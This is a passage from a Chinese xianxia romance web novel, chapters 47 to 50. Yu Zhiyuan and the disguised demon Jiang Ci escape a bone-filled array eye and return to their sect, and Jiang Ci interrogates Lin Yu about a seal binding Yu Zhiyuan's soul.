仿佛无穷无尽的白骨堆积在他们视野中,像是一片一望无际的白色尸海,他们大大小小堆积在一起,一层叠着一层,挤挤挨挨。有淡淡的红色雾气从尸骨中往上飘散,渐渐凝聚成深红色的血雾,带点黑气,顺着流动的山风飘向周围,笼罩着他们周身的一切。 在这一片尸骨中间,隐约可见堆积如海的尸骨正中间有一半人高的土坡,土坡之上插着一柄黑色的古剑,剑身上刻满了古老繁复的红色纹路,像是有鲜血在其上涓涓流动。 只望了一眼,就有种被强烈杀气震慑的错觉,引得人心脏都咚咚作响。 虞知鸢情不自禁地抬手捂住胸口。 这一捂,她才发现自己掌心莫名奇妙多出一颗犹带着寒气的,晶莹剔透的珠子。 虞知鸢顿住了手,连那剑释放出来的杀气也顾不上了。 “是定魂珠。”姜辞道。 虞知鸢:“是……那道残魂?” 姜辞点头:“应当是。” 幻境种的这道残魂在出现之前就已经十分虚弱,这定魂珠应当就是用来稳固残魂,保持残魂不散之用,恐怕连那道幻境,也是专为残魂所设。 再往深一层想,虞知鸢识海中的禁制,怕是也和这道残魂有着千丝万缕的关系。 “你们可别说悄悄话了!”南荣钰捂着胸口,满脸痛苦之色:“我们不是从幻境里出来了吗?这里又是哪里?还有那把剑到底他妈的是个什么鬼东西?” 第47章 第47章我单身,我活该! 虞知鸢压下心头种种思绪,仔细打量过满尸骨,又瞧一眼尸骨中间的古剑,迟疑道:“封禁大阵的出入口便有两柄巨剑,这里也是剑,瞧着还是一柄异常厉害的剑,这里会不会就是封禁大阵的阵眼?” 这么一想的话,就说得通了。 这里的尸骨一看就邪气森森的,说不定就是当年死在正邪大战那些无数邪修魔修的尸骨,阵眼设在此处,也是为了能更好地困住这些四溢的邪魔之气。 而虞曦云那时诱他们来血雾沼泽,兴许就是知道血雾沼泽之下是封禁大阵的阵眼所在,血雾沼泽本就危险,而如果他们还能活着穿过沼泽,就会靠近这阵眼,等着他们的结果,也就是被逐出凌云宗。 当然,姜辞会来这里,恐怕也是早就知道这是什么地方。 他们所在的昆墟境是人族聚居之地,与昆墟境最东南相邻的是妖族所在的浮玉境,中间隔着修真门派林立的拓苍山脉,而昆墟境西北乃望浮海,魔族所在的戮渊境便是隔着望浮海,与昆墟境遥遥相望。 千年前,这三大境之间互有传送阵,是相通的,但自正邪大战之后,开启与戮渊境之间传送阵的乾坤印便失去了踪迹,从此人族和魔族之间的通道便再未被开启过。 也就是说,姜辞会掉进血雾沼泽,是她自己设计的,那条卷走她的黑蛟蟒,应当也在她计划之中,便是原书结局中的入魔,怕也根本不是什么被人暗算诱发心魔而被心魔吞噬,而是她自己要入魔的! 她为什么要入魔她不知道,但她现在觉得她之前莽莽撞撞跳下血雾沼泽想要救她的行为简直就像个跳梁小丑! 姜辞哪需要她来救? 人家都要开启魔域通道了! 人家本事大着呢! 虞知鸢越想越觉得生气,忍不住狠狠瞪了姜辞一眼。 姜辞:“……???” 姜辞不明所以,看看虞知鸢,又偏头看那柄古剑,少顷,启唇淡淡道:“只要拔出剑,阵眼一破,这地方自然再困不住我们。” “拔剑就行?”南荣钰插声道:“那赶紧拔啊,我可真不想待在这鬼地方了。” “不行。”虞知鸢身形一转,挡在姜辞前面,“这剑要是拔出来,这封禁大阵恐怕就都破了。” 姜辞低头看她,神色不变,冷漠道:“那又如何?” 如何? 封禁大阵一破,妖邪之气四溢,妖兽不受禁锢,若只一个拓苍山也罢,可外头还有好些个凡人国家,那里的人怕是就此不得安生了。 而这样的结果对姜辞来说或许并不算什么,甚至有可能,这就是她想要看到的结果。 她想毁了整个昆墟境。 可若是任由她这么做,她就会成为整个修真界的敌人,届时怕还是会落得如书中一般的结局。 虞知鸢不想无辜的人因此受到牵连,更不想姜辞死。 是的,即便她如今已经猜到姜辞可能要做的事,但她还是不想她死。 “那个……虞师姐,”南荣钰见两人僵持着,又一次忍不住插嘴道:“要不咱还是先出去,至于封禁大阵,破了再修修不就行——” “你闭嘴!”虞知鸢没好气地瞪了他一眼,“封禁大阵一破,放出来的妖兽都够让我们死上几千次了。” 南荣钰闻言一下子弱了声音:“哦哦,这样啊,那……那还是算了……” 姜辞蓦地出声道:“有我在,没人伤得了你,我也不会让你死的。” 虞知鸢怒从心头起,指着姜辞的鼻子,口不择言:“就会死就会死!你会死我也会死,就是你害死我的!” 这话也不算她瞎说,毕竟她穿到书里的目的就是要改变姜辞的结局,要是改变不了她也会被抹杀,虽说现在看来系统说的恐怕没几句真话,但谁又敢保证系统说的不是真话呢? 姜辞不着痕迹地拧了下眉:“我不……” “你什么你?”虞知鸢一肚子气,不给他说话的机会,“你修魔道不告诉我,你来找乾坤印不告诉我,你的灵脉也是你自己不想修复的对吧?你什么都不跟我说,你所有事都在骗我,你这个骗子!” “你要是想害死我,你就拔剑,”她忍不住吸了吸鼻子,眼睛酸涩地看着他:“但咱们的交情也到此为止了,不管今天我会不会死在这里,咱们以后都桥归桥路归路,谁也不要说认识谁。” 姜辞紧紧皱起了眉头,“你不会死。” “你闭嘴!”虞知鸢更凶了,“你说不会就不会吗?你谁啊你,说得自己多厉害似的,还不是被困在这里除了拔剑就想不到别的办法出去。总之你要是敢拔剑,我就、我就……我就再也不喜 欢你了!” 姜辞:“……” 虞知鸢看向他,眨了下眼:“所以,你还拔吗?” 姜辞:“不拔,你就喜欢?” 虞知鸢:“当然。” 姜辞顿了下:“只喜欢我?” 虞知鸢点了下头,又点一下:“只喜欢你。” 她双眸紧盯着他。 澄澈的眼眸中映出了他的模样。 仿佛只能盛下一个他。 姜辞眸光轻动。 不知从哪吹来一阵风,吹得她那发丝乱飞起来,在他脸颊上轻轻挠过。 “好。”姜辞垂眸,抬手攥住她被风吹起的发丝,绕在指尖轻轻卷了卷,“阿鸢,要记得今天你自己说过的话。” “我当然记得,我脑子又没问题,”虞知鸢振振有词地,“我说我只喜欢你,我就只……”话说一半,她才意识到什么,嘴一瓢,险些被自己的口水呛到。 姜辞把她拉到身前,拍她的背帮她顺了顺气,“阿鸢该不会只是在敷衍我罢?” 虞知鸢心下一虚,但都到了这时候了,她要是再反口,怕是还有得折腾了,于是她还是佯装镇定地,坚强地把剩下半句话说完了:“只喜欢你,嗯,我就只喜欢你。” 姜辞顿了下,而后微一颔首,道:“嗯,我也只喜欢你。” 虞知鸢:“……” 她没有应声。 主要是不敢应声。 之前她觉得是自己对姜辞起了什么奇怪的心思,但这会儿看,姜辞好些也对她…… 但、但姜辞不是跟慕言蘅才是一对吗?虽然她现在也觉得慕言蘅不像什么好人,可他们是这本书的男女主啊,他们要是不在一起,那这书不就崩了吗? 而且罪魁祸首还是……她? 虞知鸢吞了口口水。 管他的!先过了这关再说别的吧…… 一时没人再说话,空气一下安静下来。 此时缩在角落见证了一切的南荣钰忍不住面露苦涩,眉眼都跟着往下垂了垂,像是经历了什么极痛苦的事情。 行。 你喜欢她,她喜欢你。 敢情就我没人喜欢是吧? 我单身,我活该! 以及,我好像知道得太多了些? 第48章 第48章“喏,送你。” 良久,虞知鸢轻咳两声,将脑袋扭回去,重新看向尸骨堆中间的古剑。 “好了,我们现在想想看有没有别的办法出去吧。” 姜辞指尖动了动,目光从她面上扫过,瞧见她耳垂上隐约的一点红,低低应了声:“嗯。” “可是该从哪里走呢?”虞知鸢苦恼出声。 目之所及除了那把剑所在的小土坡,就是围绕他们周身的无数白骨。 这时默默缩成一团,企图降低自己存在感的南荣钰忍不住小心翼翼道:“要不然咱们就随便挑个方向一直直走?” 虞知鸢叹气:“这地方你敢随便挑个方向走?” 她可没忘记进来时在血雾沼泽里遇到的那些像是活过来一样的骷髅骨架子,和他们周身这些堆积成山的,怕是同出一脉。指不定他们这随便一走,再触动了什么机关把它们给弄活了,那他们可就要吃不了兜着走了。 南荣钰又一次默默缩了回去。 姜辞淡声:“不妨事,这些东西不难对付,我可以——” “你不可以!”虞知鸢又瞪他一眼,撇嘴:“你是生怕别人察觉不到你修魔道是吗?” 姜辞:“……” 姜辞:“他们总会知道的。” “你不准让他们知道。”虞知鸢凶巴巴道。 姜辞:“……我灵脉受损,修不了正道。” 虞知鸢抬头看着他:“你的灵脉会修复好的,等灵脉修复好了,你就好好修习正道,不要再想什么幺蛾子了!” 幺蛾子…… 姜辞动了动唇:“……好。” 既然她想要他修正道,他就修正道也无妨,左右魔道,他压根也不需要修,怕只怕有人不会这么轻易放过他。 但这些事,还是等他先解决她身上的问题再告诉她吧。 姜辞眉心一压,眼底的冷意裹上了一层戾气,只是被他掩藏地极好,并未让虞知鸢察觉。 虞知鸢得到了自己想要的答案,便也不再揪着姜辞不放,她轻轻眯起眼,打量着从白骨上冒出来的红色血雾。 这些血雾和白骨,一定和血雾沼泽以及血雾沼泽里头的骨架子有关系。 而既然血雾沼泽不属于阵眼的部分,那就证明这里应当是有一条通往外界的通道。 在哪呢? 虞知鸢放大五感,视线紧紧锁住其中一缕血雾—— 找到了! 她双手结印,一道白光如涟漪从她指尖开始震荡扩散,却在半空中一处,约莫手臂长的虚无间,白光被反弹回来,迸散开些许星晨碎尘。 姜辞见状立刻一手揽住她的腰,一手抓住南荣钰的衣领子,他足下巧劲略施,飞速冲进了半空间那道肉眼看不见的裂缝,三人身影瞬间消失其中。 /// 月色惨白,树影摇曳。 林中一片寂静,只时不时传来几道沉闷兽吼,惊得满地飞鸟掠起。 虞曦云睁开眼,身前的篝火不知什么时候燃尽了,只剩下满地的黑灰,残存着些微余温。 不远处,已经与他们汇合的弟子们以慕言蘅为中心,三三两两坐在树下,各自歇着或是修炼。 一阵寒凉夜风拂过,激得虞曦云打了个寒颤,她的手心却仍在泛出冷汗,教她心中越发不安。 那日她也是一时冲动才会口不择言,让虞知鸢去跳血雾沼泽,但她并不是真的想要她去死。 她引虞知鸢去血雾沼泽,也只是因为知道了封禁大阵的阵眼就在血雾沼泽附近,而只要虞知鸢接近阵眼,不论出于什么原因,她都会被逐出凌云宗。 她要的也不过是把虞知鸢赶出凌云宗而已。 修真界那么多宗门,她离开了这里,也可以再拜入其他宗门,也不是什么多严重的事。 可现在…… 虞曦云正勿自出神,身后隐约响起脚步声,她一抖,忙转身看去。 “曦云师姐。”林喻跟她行过礼,在她身旁坐下,“师姐手上的伤可好些了?” 虞曦云沉默着点了点头。 手上的伤还是因那日她见虞知鸢真的跳下了血雾沼泽,一时着急想要去抓她,结果手碰到了沼泽中的血浆而被灼伤的。 大师兄说,血雾沼泽里的血浆里凝聚着千嶂谷中最毒最浓郁的魔气,一旦掉进血浆中,不用半盏茶工夫,哪怕是元婴期的修士也难活着出来。 她那日尚且只是碰了一下那血浆,后头大师兄还给她用了好些回元丹,到现在手上这伤也尚未完全恢复。 虞曦云迟疑着问道:“你说她……还活着吗?” 林喻:“或许。” 虞曦云闻言,抬眸诧异地盯住了林喻:“可大师兄说那地方没人能活着出来。” 林喻:“我只是说或许。” “哦。”虞曦云喃喃出声:“你知道的,我只是想赶她出去,我不想她死的。” 林喻似是无奈地笑了下,温声道:“我知道的,师姐也别胡思乱想了,明日我们尚且还要在这里留一日,师姐好好调息吧。” 虞曦云没说话,仍是有几分犹豫。 “她这次若是能活着出来,日后……日后就这样吧,我也不想管她了。” “都听师姐的。” 林喻看着虞曦云闭上眼开始运转灵力调息,这才转头朝血雾沼泽的方向看了眼,长长叹了声气。 血雾沼泽凶险,但凌云宗同样凶险。 她如今不该再留在凌云宗的。 只是他也不知封禁大阵的阵眼竟会设在血雾沼泽底下,否则他也不会用这法子。 这次确实是他托大了。 林喻无声苦笑。 只希望她没事,不然他还真是万死难辞其咎了。 /// 血雾沼泽。 空气中仿佛有什么流动起来,凝眸之间,虚空中蓦地出现三道人影。 “我们出来了!”南荣钰兴奋出声。 虞知鸢眯起眼打量四周。 视 线尽头隐约可以见泥地碧苔湿滑,巨树折断,满地除了腐烂落叶,便是浓郁血色与破碎的妖兽尸体。 “出是出来了,但现在的问题,”虞知鸢撇了撇嘴:“我们该怎么才能到那边去。” 他们现在的位置不偏不倚,恰恰好处在整片血雾沼泽的最中间。 应当也是封禁大阵阵眼的正上方。 若不是这里正巧有一块还算硬实的烂泥地,他们出来的一瞬间,怕不是又要立马跌回到沼泽里去。 “御剑啊,”南荣钰做了个手势,“御剑不就‘咻’的一下就飞过去了。” 虞知鸢尝试驱动真元。 自打出了幻境,体内灵力确实是可以使用了,但恢复的速度并不快,方才出来时又耗费了些,现在已经所剩无几,想要御剑,怕是有些难度。 虞知鸢收回目光,转向身侧一直没出声的人,这才发现他面庞有些发白,额上满满是汗,眉宇间倒是平常的淡然。 “你怎么了?”她抬手拭去他额上薄汗,想到什么,问他:“刚才的护罩是你开的?” 姜辞闭了闭眼,咽下喉中血腥气,这才握住她的手轻轻摩挲了下,“嗯,出口有瘴气。” 他顿了下,又补充道:“用的灵力。” 虞知鸢“哦”了声,不说话了。 南荣钰见状,适时插声道:“不能御剑也没事,我这还有一叶扁舟,咱们挤一挤就行了。” 也不是第一回乘这一叶扁舟。 这回没了虞知鸢的灵力来驱动控制,小舟飞得歪歪扭扭,但好歹没跟上次一样,把三个人都掀飞出去。 虞知鸢松口气。 这会儿姜辞正在调息,南荣钰的全副精力都放在控制一叶扁舟上,她无所事事,心中烦乱也没法凝神调息,索性任由自己的视线视线漫无目的乱晃起来。 忽然瞧见沼泽一处有隐约的光芒摇曳。 她眯起眼。 那是一株火红色的灵花,花瓣、叶片、茎秆皆是如鲜血般的赤色,花瓣层层叠叠,发出淡淡的血色光芒。 是凤灵花? 所以那会儿虞曦云说凤灵花长在血雾沼泽,竟然是真的? 虞知鸢不大确定。 可这花确实与古籍中记录的凤灵兰长得一样,而原文中慕言蘅也的确是在千嶂谷里找到的凤灵花,血雾沼泽又确实是他曾经出现过的地方…… 虞知鸢抬眸看了眼天边。 漆黑的夜空不知什么时候已经泛起了蒙蒙的白。 今天已经是他们入千嶂谷的第五日,也是该要离开的日子。 要是错过了今天,下一回再进千嶂谷,可不知要到什么时候了。 她转回头看了眼姜辞,见他仍在调息,这才传音给南荣钰让他往凤灵兰的方向靠近过去。 南荣钰第一回被传音,整明白是虞知鸢在跟他说话,懵懵地眨巴了下眼,想问什么,被虞知鸢一盯,只得紧紧闭上了嘴。 越是靠近凤灵兰,那赤色的光芒便越发明显,空气中都开始蔓延出隐隐的花香。 她探出大半身子,指尖将将触到花茎,一道黑影蓦地从沼泽中蹿了出来。 姜辞察觉到动静,睁开眼的同时,一道黑气霎时化作箭矢,在空中划开一道冷冽痕迹,犹若银霜电驰,眨眼之间,便要穿透黑影。 黑影移形欲逃,黑箭彷佛早预料它逃离方向,略一偏,正中它元灵最弱处。 “噗通”一声。 巨大的身影随之落入沼泽之中。 虞知鸢半截身子还没收回来,正方便看那黑影到底是什么东西,忽地腰间一紧,下一瞬背就贴到了一个温热的胸膛。 “吓死我了吓死我了。”南荣钰拍着胸口,探出一点脑袋去看沼泽里的影子,惊讶道:“是之前攻击我们的那条黑蛟蟒。” 虞知鸢这下也不好奇了。 那条黑蛟蟒在他们跳进血雾沼泽之前就受了不轻的伤,守在这血雾沼泽里,应当也是想要寻这凤灵兰来疗伤。 不过现在遇上他们,也只能怪它自己运气不好了。 虞知鸢倚在姜辞怀中,回眸对他扬了扬手里的凤灵兰,眉眼微翘:“喏,送你。” 第49章 第49章他巴不得昭告所有人阿鸢…… 慕言蘅一行人在千嶂谷出口处等到了黄昏时分。 此次进谷一共三十名弟子,今日顺利在此汇合的仅剩十二名。 他们三三两两坐在树下,目光不约而同盯住了出口。 伴随着“咔嚓咔嚓”的声响,出口处的两柄巨剑开始震荡起来,仿佛只是眨眼间,出口便狭小到只容一人通过了。 “大师兄,出口还有多久会关闭?”虞曦云忽然出声问道。 慕言蘅看了眼她,“不到一炷香。” 不到一炷香。 若是再不出来,恐怕就再也出不来了。 虞曦云死死盯着巨剑中间那片仿佛能吞噬一切的黑暗,不自禁地握紧拳头,指甲都深深嵌入了掌心。 一阵风吹过,苍松间的昏鸦惊起,最后一抹透过浓雾隐约可见的霞光也被混沌的云层吞没了。 虞曦云闭了闭眼,却在这时,身旁林喻的声音倏忽响起:“出来了。” 虞曦云猛地睁开眼,眼前有什么东西挟裹着浓郁的血腥气,在她眼前飞速闪过,快得只能看到一道模糊的残影。 众人的目光也都跟着看了过去。 片刻后,“嘭”的一声。 那东西撞上一颗巨树,终于停了下来。 与此同时。 “啊!” “哎呀!” “起开!” 一阵难掩手忙脚乱的惊呼声响起。 见证了一切的弟子们各自对视一眼,一个个皆都朝着围拢了过去。 于是这厢虞知鸢方才被姜辞扶着站稳呢,再抬起头定睛一瞧,便见十多个衣着狼狈、面色疲惫的凌云宗弟子正齐刷刷地盯住了他们。 为首的正是慕言蘅和虞曦云。 “是虞师姐和姜师妹!” “诶?还有一个。” “是谁?” “哕——哕哕——” 更响亮的声音打断了众人的议论。 南荣钰手脚并用从一叶扁舟里爬出来,扶住旁边的树就是一阵干呕。 终于来到他们跟前,也看清了南荣钰模样的众人:“……” 嗯?这是那个连半点修为也没有的南荣钰? 他竟然能从如此危险重重的千嶂谷中出来? 众人难掩面上的惊诧讶异。 “师妹。”慕言蘅上前一步,当先出了声。 “大师兄,”虞知鸢皮笑肉不笑地,又看向他身侧的虞曦云,顿了下,“曦云师妹。” 虞曦云动了动唇,欲言又止。 此时慕言蘅打量完他们三人,这才又开口道:“你们出来时可是遇到猲狙了?可有受伤?” 虞知鸢先点头,又摇头,“没有受伤。” 从血雾沼泽出来后,他们就直奔千嶂谷出口,却在途中遇到了一群简直跟得了狂犬病一样的猲狙。 它们满口獠牙,齿间挂着新鲜血肉,应当是不久前才与别的妖兽,或者是人经历过一场恶战,远远见到他们,便朝着他们龇牙咧嘴。 南荣钰控制一叶扁舟本就吃力,这些猲狙又跟疯了一样追着他们不放。 饶是虞知鸢储物袋里还剩不少符箓,南荣钰也还剩个青云罩和一个什么定身灯,他们也跟那群猲狙缠斗了大半日才得以摆脱,都险些让姜辞用上魔道功法了。 好在最后关头虞知鸢看到了出口,赶在巨剑即将落下前一刻,以灵力加速一叶扁舟的速度才算是赶上了。 其余弟子闻言皆是倒吸一口冷气。 猲狙乃是上古凶兽后裔,虽已经和那最初的凶兽隔了不知多少代,血脉也被混杂稀释了大半,但猲狙的凶性仍是不可小觑。加之其性喜食肉,又往往成群出没,着实难以对付。 他们在赶到出口前便也遇到了猲狙群的袭击,可是吃了不少苦头,还损失了两名同门才算摆脱它们。 可虞师姐他们一共才三个人,其中一个灵脉受损,一个毫无修为…… 想来这一定都是虞师姐的功劳了。 虞师姐可真不愧是宗主的亲传弟子啊。 众人目光炯炯地盯住了虞知鸢。 姜辞见状,心中陡然升起几分不快。 他长腿往前一迈,一下便把虞知鸢整个人都挡在了后头。 众人见状皆是一楞,抬眸,对上的便是 姜辞那张瞧着便让人觉得寒意蚀骨的脸。 “……” 短暂的休整之后,众人才离开了此地。 与来时不同,回程不再御剑飞行。 慕言蘅扬手祭出一法器,当即化作一云舟,漂浮在半空之中。 待众人一一登船,他又一抬手,一张风行符自他袖口飞出。 风行符操控云舟,云舟当即腾空而起,脱离了山间浓雾,烈烈长风兜头而下。 垂眸间,只见这片被浓雾笼罩的巨大森林中,不时有幽幽的光晕在各处此起彼伏地亮起,然后又倏忽消失,像是黑暗里无数双巨大的,窥伺着所有人的瞳孔。 弟子们皆忍不住地呼吸一窒,难掩面上恐惧之色。 虞知鸢就显得平静多了。她在到血雾沼泽前就隐约窥见过森林的这副诡异阴森模样,只不过那时她身在林中,而此时她可算是要离开了。 看南荣钰已经恢复精神,正凑在人群里说话,虞知鸢懒洋洋地打了个哈欠,起身便往后头走。这几日实在耗费了她太多精力体力,可得好好歇息一二。 姜辞与她并肩而行。 云舟上是木质的船板,一轻一重的脚步声清晰交缠,相互应和。 但渐渐,其中混入了另一道更沉的脚步声。 “谁?”姜辞蓦然回头,正对上林喻那张温文到十足碍眼的脸。 “有事?”姜辞冷冷开口,幽沉的眸色比这他的声音还要寒凉。 林喻微顿,眼眸温和,望着他笑笑:“我只是瞧虞师姐精神不大好,可是在千嶂谷出了什么事?” 虞知鸢听到林喻的声音,应了声:“我很好,多谢林师弟关心。” 林喻点点头,看向姜辞:“姜师妹,我可否与虞师姐单独说几句话?” 虞知鸢闻言,从姜辞身后探出半个身子来,面露困惑之色:“你要说什么?” 姜辞索性将她揽到怀里,这才转回头来,冷冷盯住了林喻:“今日大家都乏了,有什么话改日再说罢。” 林喻一怔,一时间倒像是被这两人的亲密姿态惊住了。 这时恰好有其他弟子突然走过来,见状也不由呆了一呆:“虞师姐,你……你与姜师妹……” 虞知鸢被这么些人一盯,脸颊控制不住地烧了起来。 “我……我在千嶂谷里消耗了太多灵力,这会儿不大舒服,姜师妹她只是……只是怕我走不稳才扶我一把。” 那弟子神色复杂。 是他见识浅薄吗?这也能叫扶? 姜辞也觉得这话听着不大顺耳。 他巴不得昭告所有人阿鸢是他的。 但一瞧虞知鸢脸上那局促尴尬到仿佛无地自容的表情,就又心软了。 罢了,现在的确不是最好的时机。 不过有些事,他是该找个她足够清醒的时间让她知道一下。 看着二人相携的身影消失在拐角处,林喻才醒过神来。 他眉头不自觉地皱起,一转眼,正对上一旁弟子那闪闪烁烁的表情。 “原来、原来林师兄你……”弟子话说一半,顿了下,还是忍不住悄声问道:“林师兄喜欢哪个?” 林喻:“……” 那弟子见他不说话,眼珠子一转,像是恍然大悟:“林师兄自己也选不出来?”他轻叹一声,“没想到林师兄也会有这样的烦忧。” 林喻:“???” 这厢虞知鸢找了间空屋子,姜辞紧跟着,进屋后将门一扣,把窸窸窣窣的交谈声脚步声一概挡在了外头。 虞知鸢见状一顿,低咳一声:“外面天都黑了。” 姜辞:“嗯。” 虞知鸢:“那你也该去歇息了。” 姜辞定定地看住了她。 看得虞知鸢都开始怀疑自己脸上长花了的时候,姜辞站起了身,他打开门,回身又交代了一句“师姐早些歇息”,这才踏出门去。 虞知鸢舔了舔唇,觉得嘴里有点发干。 她赶紧端起桌上的水壶倒了水,一口灌了进去。 等感觉自己胸口那股莫名的情绪压下去了些,才翻身躺到床榻上去。 只是脑中思绪烦乱,辗转好一会儿也没能睡着。 月光洒入窗,有些清冷。 这时候身边要是有个暖烘烘的…… 停! 她腾地一下从床上做起来,抱着脑袋忍不住唉声叹气。 室内寂静了一会儿,虞知鸢忽然想到什么,低头去取储物袋里的那枚极品灵玉。 极品灵玉可以自动凝聚周遭灵气,佩戴在身上,灵气自然也就会围绕在周身。 这样不就不冷了么。 取灵玉的时候,又看见了那颗定魂珠。 其上覆盖着一层冰雪,瞧着寒气森森的,但触手却很温热。 她顿了下,在自己都还没有意识到什么的时候,把灵玉和定魂珠一起取了出来,抱在怀里。 嗯。 这样好多了。 /// 云舟另一侧。 林喻蓦地停下脚步。 他看着出现在眼前的人,微微挑了下眉。 “姜师妹寻我?” “有事?” 姜辞一言不发,不紧不慢走到他身前,还是那张冷冰冰的脸,但他在他身边微微弯下了腰。 林喻楞了下,似是不解:“姜师妹这是作甚?” 姜辞盯住他,缓缓掀起眼皮,毫无遮掩地露出一双猩红如恶鬼般的眼。 “阿鸢身上的禁制,是你设下的?” 第50章 第50章“我要你与姜辞结为道侣…… 人的瞳孔是圆的,兽则多为竖瞳。 姜辞的瞳孔却哪一样都不是,而是无机质的、虚无飘渺的,狰狞又森然。 她不是人。 林喻意识到这点的时候,身形僵了僵,一时间被激起了浑身的鸡皮疙瘩。 良久,他才终于找回自己的声音。 “你是……魔?” 姜辞眼皮都没颤一下,只是又一次问道:“不是你?嗯?” 声音里带着说不出的森寒冷意。 所以,真的是魔么? 林喻一贯温和的神情终于维持不住,眉头都皱成了一团。 一个魔,竟敢潜入凌云宗,如今还就在这艘云舟上,与凌云宗首席大弟子一墙之隔的地方暴露自己。 她是疯了么? 他还未来得及细想,一股无形之气便禁锢了他的四肢。 林喻心下一个激灵。 再抬眸,周遭已经不是方才的景象。 而是一片漆黑。 就像是另一个空间。 他尝试着驱动真元。 灵力却犹如石沉大海,一丝一毫的回应都没有。 林喻不自觉地将视线转回来,眸中不掩震惊之色。 她的修为究竟到了何种程度,竟能丝毫不为他察觉就将他拉入了她的结界中,如此一来,再任凭她做什么,这云舟上也无人会察觉到。 林喻忍不住地头皮一麻。 这人,不,这魔,她究竟想干什么! 姜辞并不理会他的问题,更无心去留意他的想法。他只是伸出手来,贴在了林喻的颈侧,“是谁设下的禁制?” 禁制?是了,她想知道禁制的事。 可问题是,这事他不能说啊! 况且这魔近来与虞知鸢实在太过亲近,尤其入了内门后,几乎已经到了形影不离的地步,她到底想做—— 他思绪蓦地被打断了。 是真的打。 他横着被一股无形之气撞飞出去,然后重重落到了地上。 姜辞缓步而来,在他身边弯下腰,声音冷得像是淬了冰:“再不说,我倒也不介意让你永远说不了话。” 林喻不适地缩了缩肩。 那什么,好汉不吃眼前亏对吧? 别的人再重要,有自己的命重要吗? 况且,就他跟前这个,他就算是魔,瞧着也很是在意虞知鸢的样子,告诉她,应该也没什么关系? 成功说服了自己,林喻歪头吐出点血沫,这才道:“那禁制确实不是我设下的,所以你就算杀了我,也没办法解开禁制。” “禁制不是你设下的,但加强禁制的那道咒法是你施的。”姜辞紧 跟着道:“既然禁制需要加强,想必是已经有了松动的迹象,若是你现在死了,想必过不了多久,她也可以自己冲破禁制了。” 他话音才落,一股像是要把人都压垮的威压瞬间充斥了整个结界。 林喻胸中气血翻涌,强忍着痛动了动唇:“不可……” 姜辞并不为所动,那股威压也愈发强悍,压得人根本直不起腰来。 你倒是让我把话说完啊你个死魔头! 林喻心里那个气啊,差点呕出一口老血。 他咬了咬后槽牙,从牙缝里挤出断断续续的一句话:“会……害死……她。” 话音刚落,包裹他全身的那股蛮力瞬间一松。 骤然涌入的空气呛得他不住咳嗽起来。 “禁制是谁设的?” 林喻咽下喉头的血沫:“她母亲。” 姜辞顿了下。 “是什么?” “让她的魂魄无法彻底融合。你应该看出来了,自界域骨镜之后,她和从前就不大一样了。” 林喻说完这句便沉默了下。 久久,才又开口道:“人有三魂七魄,但她的三魂七魄却被她的母亲分成了两部分,其中的一魂两魄留在她原本的身躯上,跟随虞瀚玥拜入了凌云宗,而剩下的二魂五魄则被她的母亲想方设法送到了异世。” “但魂魄离体时间太长,对**和神魂都会造成极大的损伤。十五年,她那二魂五魄最长可以离体十五年,只是不知为何,她竟突然从异世提前回来了。” 姜辞抿了抿唇。 界域骨镜中时,他就察觉到了她的异样,那时他尚且以为是阿鸢夺舍了原来的虞知鸢,只是经历种种后,他又觉得那不仅仅只是夺舍。 却原来,竟是如此。 “魂魄若是完全融合会怎么样?” “她会恢复所有的记忆。” “恢复记忆又——” 如何? 姜辞话未说完,忽然想到什么,转而问道:“她幼时的记忆,会让她很痛苦?” “也许吧,”林喻苦笑了下,“但最重要的是,她的魂魄特殊,若是此时完全融合,恐会引来大麻烦。” 姜辞:“如何特殊?” 林喻叹气:“我不知。” 姜辞不置可否,片刻,又问他:“你认识她的母亲?” 林喻迟疑了下,道:“她救过我,我答应她会留在凌云宗,若是察觉到她的禁制有松动,便用上那个加强禁制的符咒,再想法子尽快让她离开凌云宗。” 他说到这里,忍不住又叹一声,“只可惜我到底是低估了她,没想到她尽然能通过内门弟子的选拔,进了凌云宗内门,又哪能再轻易离开。” “所以引她去封禁大阵阵眼是你的主意。” 靠近封禁大阵阵眼的弟子,皆会被逐出宗门,这确实是最顺理成章不惹人怀疑的法子。 林喻点头,勉强笑道:“这事确实是我太过鲁莽,我并不知阵眼会在血雾沼泽下方,倒是险些铸下大错。” 姜辞不为所动。 他只是微微掀起了眼皮,视线落在林喻看过去也只是一片浓郁暗色的远方。 “所以她的威胁就在凌云宗。” “是虞瀚玥。” 不是疑问,而是肯定。 真够敏锐的。 林喻按了按额角,“我已经把我知道的都告诉你了,那你呢?你究竟是谁?你怎么知道她识海中有禁制?” 姜辞并不答他,只是冷硬道:“但我又如何知晓你说的是真还是假?” 林喻觉得自己二十多年练就的涵养已经快要用尽,他死死咽下那声险些脱口而出的“草”,咬牙道:“那你还想让我怎么样?起心誓吗?我告诉你,你就算是杀了我……” “哪用得着杀你,”姜辞动了动唇:“魔域恰好有一以男子作炉鼎的功法,不如届时你便随我一起去魔域罢。” 林喻:……姜辞我日你祖宗! /// 云舟停在任务堂前的广场上。 “是大师兄他们回来了。” “快去告知长老们!” 算着时间侯在广场上的弟子匆匆起身,狂奔而去。 虞知鸢和姜辞不紧不慢坠在末尾,和众人一道交了这次任务,便直奔中阙峰的住处。 眼下凤灵兰已经采到,自然该尽快着手修复姜辞灵脉之事。 至于擅闯封禁大阵阵眼之事……就兵来将挡罢。 广场上很快便只剩下慕言蘅和虞曦云二人。 慕言蘅看一眼从登上云舟后就一直不曾说过话的虞曦云,方才动了动唇要说什么,就被一旁匆匆而来的弟子打断。 那弟子上前来,朝他微微躬身,道:“宗主在等大师兄。” 虞曦云闻言一怔:“爹爹不是在闭关吗?” 那弟子目不斜视,并不多言。 慕言蘅动了动唇:“兴许是有什么要事,师尊才会提前出关,阿云先回去歇着罢。” 虞曦云:“但……” 慕言蘅:“若有事我会与你联系的,阿云不必着急。” 虞曦云沉默片刻,还是点了点头。 爹爹找大师兄向来都是有正事,大多时候她确实都不方便在场,况且她这几日也确实是够累了。 等目送虞曦云的背影消失,慕言蘅才转身离开。 到得竹屋,息尘长老已经在外头候着了。 慕言蘅察觉到他神色有异,面色一肃,问道:“可是师尊身上的妖毒又复发了?” 息尘长老重重叹了口气:“这回比以往都还要严重。” 慕言蘅面上没什么表情,他沉默片刻,道:“我知晓了。” 说罢,便推门进了屋。 虞瀚玥听见动静抬起头,问道:“可是有人进了封禁大阵阵眼?” 